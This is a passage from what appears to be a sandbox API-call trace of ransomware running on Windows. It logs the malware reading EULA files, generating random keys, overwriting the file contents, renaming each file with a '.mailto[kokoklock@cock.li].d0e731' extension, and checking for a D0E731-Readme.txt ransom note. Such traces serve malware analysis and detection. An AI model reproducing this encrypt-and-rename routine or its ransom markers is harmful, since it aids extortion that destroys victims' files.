lpBuffer=0x34914c0*, lpNumberOfBytesWritten=0x247bfcf8*=0x20, lpOverlapped=0x0) returned 1 [0080.499] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.499] WriteFile (in: hFile=0x454, lpBuffer=0x3491330*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x247bfd00, lpOverlapped=0x0 | out: lpBuffer=0x3491330*, lpNumberOfBytesWritten=0x247bfd00*=0x8, lpOverlapped=0x0) returned 1 [0080.499] WriteFile (in: hFile=0x454, lpBuffer=0x247bfd18*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x247bfd00, lpOverlapped=0x0 | out: lpBuffer=0x247bfd18*, lpNumberOfBytesWritten=0x247bfd00*=0x4, lpOverlapped=0x0) returned 1 [0080.499] WriteFile (in: hFile=0x454, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x247bfd00, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x247bfd00*=0x4, lpOverlapped=0x0) returned 1 [0080.499] WriteFile (in: hFile=0x454, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x247bfd00, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x247bfd00*=0x6c, lpOverlapped=0x0) returned 1 [0080.499] WriteFile (in: hFile=0x454, lpBuffer=0x34917b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x247bfd00, lpOverlapped=0x0 | out: lpBuffer=0x34917b8*, lpNumberOfBytesWritten=0x247bfd00*=0x20, lpOverlapped=0x0) returned 1 [0080.499] WriteFile (in: hFile=0x454, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x247bfd00, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x247bfd00*=0x4, lpOverlapped=0x0) returned 1 [0080.500] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34917b8) returned 1 [0080.500] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491448) returned 1 [0080.500] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491330) returned 1 [0080.500] CloseHandle (hObject=0x454) returned 1 [0080.500] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428080 [0080.500] wcscpy (in: _Dest=0x3428080, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm" [0080.500] wcscat (in: _Dest=0x3428080, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm.mailto[kokoklock@cock.li].d0e731" [0080.500] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ko-kr.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ko-kr.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.500] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.501] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428080) returned 1 [0080.501] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm", dwFileAttributes=0x20) returned 0 [0080.501] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd5f0 [0080.501] wcscpy (in: _Dest=0x33cd5f0, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.501] wcscat (in: _Dest=0x33cd5f0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.501] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.501] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd5f0) returned 1 [0080.501] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fd78) returned 1 [0080.501] RtlExitUserThread (Status=0x1) Thread: id = 1014 os_tid = 0x16dc [0080.493] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lt-lt.htm")) returned 0x20 [0080.497] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm", dwFileAttributes=0x20) returned 1 [0080.502] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lt-lt.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0080.502] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x2483fb74 | out: lpFileSize=0x2483fb74*=76091) returned 1 [0080.502] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x12937, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.502] ReadFile (in: hFile=0x450, lpBuffer=0x2483fb48, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2483fb44, lpOverlapped=0x0 | out: lpBuffer=0x2483fb48*, lpNumberOfBytesRead=0x2483fb44*=0x4, lpOverlapped=0x0) returned 1 [0080.504] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.504] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34917b8 [0080.504] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491330 [0080.504] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491380 [0080.504] NtQuerySystemTime (in: CurrentTime=0x2483fb20 | out: CurrentTime=0x2483fb20*=132121176383966012) returned 0x0 [0080.504] RtlRandom (in: Seed=0x2483fb2c | out: Seed=0x2483fb2c) returned 0xcf3f4316 [0080.504] RtlRandom (in: Seed=0x2483fb2c | out: Seed=0x2483fb2c) returned 0xc857ab9c [0080.504] RtlRandom (in: Seed=0x2483fb2c | out: Seed=0x2483fb2c) returned 0x40f2ddee [0080.504] RtlRandom (in: Seed=0x2483fb2c | out: Seed=0x2483fb2c) returned 0x10d3ef5e [0080.504] RtlRandom (in: Seed=0x2483fb2c | out: Seed=0x2483fb2c) returned 0x9ba1834d [0080.504] RtlRandom (in: Seed=0x2483fb2c | out: Seed=0x2483fb2c) returned 0xddd7d825 [0080.504] RtlRandom (in: Seed=0x2483fb2c | out: Seed=0x2483fb2c) returned 0xfdf020e5 [0080.504] RtlRandom (in: Seed=0x2483fb2c | out: Seed=0x2483fb2c) returned 0x7127f71d [0080.504] RtlRandom (in: Seed=0x2483fb2c | out: Seed=0x2483fb2c) returned 0xd1177a13 [0080.504] RtlRandom (in: Seed=0x2483fb2c | out: Seed=0x2483fb2c) returned 0x77f24260 [0080.504] RtlRandom (in: Seed=0x2483fb2c | out: Seed=0x2483fb2c) returned 0x980654ca [0080.504] RtlRandom (in: Seed=0x2483fb2c | out: Seed=0x2483fb2c) returned 0xc32ec7b0 [0080.504] RtlRandom (in: Seed=0x2483fb2c | out: Seed=0x2483fb2c) returned 0x9190f54b [0080.504] RtlRandom (in: Seed=0x2483fb2c | out: Seed=0x2483fb2c) returned 0x84d022f3 [0080.504] RtlRandom (in: Seed=0x2483fb2c | out: Seed=0x2483fb2c) returned 0x97b38617 [0080.504] RtlRandom (in: Seed=0x2483fb2c | out: Seed=0x2483fb2c) returned 0x2e423729 [0080.504] RtlRandom (in: Seed=0x2483fb2c | out: Seed=0x2483fb2c) returned 0xa6e7cabe [0080.504] RtlRandom (in: Seed=0x2483fb2c | out: Seed=0x2483fb2c) returned 0xdc0504e5 [0080.504] RtlRandom (in: Seed=0x2483fb2c | out: Seed=0x2483fb2c) returned 0x1bdf89b9 [0080.504] RtlRandom (in: Seed=0x2483fb2c | out: Seed=0x2483fb2c) returned 0x3da1b587 [0080.504] RtlRandom (in: Seed=0x2483fb2c | out: Seed=0x2483fb2c) returned 0xa86806e6 [0080.504] RtlRandom (in: Seed=0x2483fb2c | out: Seed=0x2483fb2c) returned 0xc0f04e11 [0080.504] RtlRandom (in: Seed=0x2483fb2c | out: Seed=0x2483fb2c) returned 0x57afd135 [0080.504] RtlRandom (in: Seed=0x2483fb2c | out: Seed=0x2483fb2c) returned 0x403491cf [0080.504] RtlRandom (in: Seed=0x2483fb2c | out: Seed=0x2483fb2c) returned 0xa08f230f [0080.504] RtlRandom (in: Seed=0x2483fb2c | out: Seed=0x2483fb2c) returned 0xb98e5b41 [0080.504] RtlRandom (in: Seed=0x2483fb2c | out: Seed=0x2483fb2c) returned 0xf2f352ca [0080.504] RtlRandom (in: Seed=0x2483fb2c | out: Seed=0x2483fb2c) returned 0xbbc137f [0080.505] RtlRandom (in: Seed=0x2483fb2c | out: Seed=0x2483fb2c) returned 0xcb1aff4 [0080.505] RtlRandom (in: Seed=0x2483fb2c | out: Seed=0x2483fb2c) returned 0x3737df05 [0080.505] RtlRandom (in: Seed=0x2483fb2c | out: Seed=0x2483fb2c) returned 0x1f64ac43 [0080.505] RtlRandom (in: Seed=0x2483fb2c | out: Seed=0x2483fb2c) returned 0x18f728ef [0080.515] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0080.515] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34917b8) returned 1 [0080.516] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.516] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.516] ReadFile (in: hFile=0x450, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2483faf8, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2483faf8*=0x4096, lpOverlapped=0x0) returned 1 [0080.516] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.516] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd310 [0080.516] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.517] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34913f8 [0080.517] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34913f8) returned 1 [0080.517] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0080.517] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34917b8 [0080.517] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34914e8 [0080.517] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34914e8) returned 1 [0080.517] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.517] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd310) returned 1 [0080.517] WriteFile (in: hFile=0x450, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2483faf8, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x2483faf8*=0x4096, lpOverlapped=0x0) returned 1 [0080.517] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0080.517] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x1293b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.517] WriteFile (in: hFile=0x450, lpBuffer=0x34917b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2483fb30, lpOverlapped=0x0 | out: lpBuffer=0x34917b8*, lpNumberOfBytesWritten=0x2483fb30*=0x20, lpOverlapped=0x0) returned 1 [0080.518] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34917b8) returned 1 [0080.518] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.518] WriteFile (in: hFile=0x450, lpBuffer=0x34913a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2483fb44, lpOverlapped=0x0 | out: lpBuffer=0x34913a8*, lpNumberOfBytesWritten=0x2483fb44*=0x8, lpOverlapped=0x0) returned 1 [0080.518] WriteFile (in: hFile=0x450, lpBuffer=0x2483fb5c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2483fb44, lpOverlapped=0x0 | out: lpBuffer=0x2483fb5c*, lpNumberOfBytesWritten=0x2483fb44*=0x4, lpOverlapped=0x0) returned 1 [0080.518] WriteFile (in: hFile=0x450, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2483fb44, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2483fb44*=0x4, lpOverlapped=0x0) returned 1 [0080.518] WriteFile (in: hFile=0x450, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2483fb44, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2483fb44*=0x6c, lpOverlapped=0x0) returned 1 [0080.518] WriteFile (in: hFile=0x450, lpBuffer=0x3491330*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2483fb44, lpOverlapped=0x0 | out: lpBuffer=0x3491330*, lpNumberOfBytesWritten=0x2483fb44*=0x20, lpOverlapped=0x0) returned 1 [0080.518] WriteFile (in: hFile=0x450, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2483fb44, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2483fb44*=0x4, lpOverlapped=0x0) returned 1 [0080.518] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491330) returned 1 [0080.518] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491448) returned 1 [0080.518] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34913a8) returned 1 [0080.518] CloseHandle (hObject=0x450) returned 1 [0080.518] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428f98 [0080.518] wcscpy (in: _Dest=0x3428f98, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm" [0080.518] wcscat (in: _Dest=0x3428f98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm.mailto[kokoklock@cock.li].d0e731" [0080.519] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lt-lt.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lt-lt.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.519] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.519] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428f98) returned 1 [0080.519] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm", dwFileAttributes=0x20) returned 0 [0080.519] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd570 [0080.519] wcscpy (in: _Dest=0x33cd570, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.519] wcscat (in: _Dest=0x33cd570, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.519] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.520] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd570) returned 1 [0080.520] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480138) returned 1 [0080.520] RtlExitUserThread (Status=0x1) Thread: id = 1015 os_tid = 0x16e0 [0080.521] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lv-lv.htm")) returned 0x20 [0080.521] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm", dwFileAttributes=0x20) returned 1 [0080.521] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lv-lv.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0080.521] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x248bf764 | out: lpFileSize=0x248bf764*=83909) returned 1 [0080.521] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x147c1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.521] ReadFile (in: hFile=0x450, lpBuffer=0x248bf738, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x248bf734, lpOverlapped=0x0 | out: lpBuffer=0x248bf738*, lpNumberOfBytesRead=0x248bf734*=0x4, lpOverlapped=0x0) returned 1 [0080.523] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.523] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34917b8 [0080.523] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491330 [0080.523] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34913a8 [0080.523] NtQuerySystemTime (in: CurrentTime=0x248bf710 | out: CurrentTime=0x248bf710*=132121176384122480) returned 0x0 [0080.523] RtlRandom (in: Seed=0x248bf71c | out: Seed=0x248bf71c) returned 0x7066fec3 [0080.523] RtlRandom (in: Seed=0x248bf71c | out: Seed=0x248bf71c) returned 0xf5e2b198 [0080.523] RtlRandom (in: Seed=0x248bf71c | out: Seed=0x248bf71c) returned 0x3d499dd9 [0080.523] RtlRandom (in: Seed=0x248bf71c | out: Seed=0x248bf71c) returned 0x18e9467c [0080.523] RtlRandom (in: Seed=0x248bf71c | out: Seed=0x248bf71c) returned 0x26fdfc1f [0080.523] RtlRandom (in: Seed=0x248bf71c | out: Seed=0x248bf71c) returned 0xc0a6ae33 [0080.523] RtlRandom (in: Seed=0x248bf71c | out: Seed=0x248bf71c) returned 0xe121c1c9 [0080.523] RtlRandom (in: Seed=0x248bf71c | out: Seed=0x248bf71c) returned 0x1870d3d3 [0080.523] RtlRandom (in: Seed=0x248bf71c | out: Seed=0x248bf71c) returned 0xab0be7c8 [0080.523] RtlRandom (in: Seed=0x248bf71c | out: Seed=0x248bf71c) returned 0xced640e1 [0080.523] RtlRandom (in: Seed=0x248bf71c | out: Seed=0x248bf71c) returned 0x307c61b9 [0080.523] RtlRandom (in: Seed=0x248bf71c | out: Seed=0x248bf71c) returned 0x52cbe783 [0080.523] RtlRandom (in: Seed=0x248bf71c | out: Seed=0x248bf71c) returned 0xdf069c6f [0080.523] RtlRandom (in: Seed=0x248bf71c | out: Seed=0x248bf71c) returned 0xb6d4b158 [0080.523] RtlRandom (in: Seed=0x248bf71c | out: Seed=0x248bf71c) returned 0x1a956504 [0080.523] RtlRandom (in: Seed=0x248bf71c | out: Seed=0x248bf71c) returned 0x325d5dd6 [0080.523] RtlRandom (in: Seed=0x248bf71c | out: Seed=0x248bf71c) returned 0xa11e4536 [0080.523] RtlRandom (in: Seed=0x248bf71c | out: Seed=0x248bf71c) returned 0x4f6e5e8b [0080.523] RtlRandom (in: Seed=0x248bf71c | out: Seed=0x248bf71c) returned 0x7ab2ab05 [0080.523] RtlRandom (in: Seed=0x248bf71c | out: Seed=0x248bf71c) returned 0xfe9794f1 [0080.523] RtlRandom (in: Seed=0x248bf71c | out: Seed=0x248bf71c) returned 0x961060cd [0080.523] RtlRandom (in: Seed=0x248bf71c | out: Seed=0x248bf71c) returned 0x1350c545 [0080.523] RtlRandom (in: Seed=0x248bf71c | out: Seed=0x248bf71c) returned 0x4489235 [0080.524] RtlRandom (in: Seed=0x248bf71c | out: Seed=0x248bf71c) returned 0x4f69d721 [0080.524] RtlRandom (in: Seed=0x248bf71c | out: Seed=0x248bf71c) returned 0x4b4fe8d3 [0080.524] RtlRandom (in: Seed=0x248bf71c | out: Seed=0x248bf71c) returned 0x626bbe23 [0080.524] RtlRandom (in: Seed=0x248bf71c | out: Seed=0x248bf71c) returned 0xde2cce9c [0080.524] RtlRandom (in: Seed=0x248bf71c | out: Seed=0x248bf71c) returned 0x8c2226dd [0080.524] RtlRandom (in: Seed=0x248bf71c | out: Seed=0x248bf71c) returned 0x78b9a7ae [0080.524] RtlRandom (in: Seed=0x248bf71c | out: Seed=0x248bf71c) returned 0x2e97d8f1 [0080.524] RtlRandom (in: Seed=0x248bf71c | out: Seed=0x248bf71c) returned 0x11443b86 [0080.524] RtlRandom (in: Seed=0x248bf71c | out: Seed=0x248bf71c) returned 0x51789707 [0080.534] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0080.534] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34917b8) returned 1 [0080.534] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.534] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.534] ReadFile (in: hFile=0x450, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x248bf6e8, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x248bf6e8*=0x4096, lpOverlapped=0x0) returned 1 [0080.535] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.535] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd310 [0080.535] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.535] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34913f8 [0080.535] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34913f8) returned 1 [0080.536] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0080.536] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34917b8 [0080.536] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34914e8 [0080.536] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34914e8) returned 1 [0080.536] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.536] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd310) returned 1 [0080.536] WriteFile (in: hFile=0x450, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x248bf6e8, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x248bf6e8*=0x4096, lpOverlapped=0x0) returned 1 [0080.536] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0080.536] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x147c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.536] WriteFile (in: hFile=0x450, lpBuffer=0x34917b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x248bf720, lpOverlapped=0x0 | out: lpBuffer=0x34917b8*, lpNumberOfBytesWritten=0x248bf720*=0x20, lpOverlapped=0x0) returned 1 [0080.536] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34917b8) returned 1 [0080.536] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.536] WriteFile (in: hFile=0x450, lpBuffer=0x34913d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x248bf734, lpOverlapped=0x0 | out: lpBuffer=0x34913d0*, lpNumberOfBytesWritten=0x248bf734*=0x8, lpOverlapped=0x0) returned 1 [0080.537] WriteFile (in: hFile=0x450, lpBuffer=0x248bf74c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x248bf734, lpOverlapped=0x0 | out: lpBuffer=0x248bf74c*, lpNumberOfBytesWritten=0x248bf734*=0x4, lpOverlapped=0x0) returned 1 [0080.537] WriteFile (in: hFile=0x450, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x248bf734, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x248bf734*=0x4, lpOverlapped=0x0) returned 1 [0080.537] WriteFile (in: hFile=0x450, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x248bf734, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x248bf734*=0x6c, lpOverlapped=0x0) returned 1 [0080.537] WriteFile (in: hFile=0x450, lpBuffer=0x3491330*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x248bf734, lpOverlapped=0x0 | out: lpBuffer=0x3491330*, lpNumberOfBytesWritten=0x248bf734*=0x20, lpOverlapped=0x0) returned 1 [0080.537] WriteFile (in: hFile=0x450, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x248bf734, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x248bf734*=0x4, lpOverlapped=0x0) returned 1 [0080.537] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491330) returned 1 [0080.537] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491448) returned 1 [0080.537] 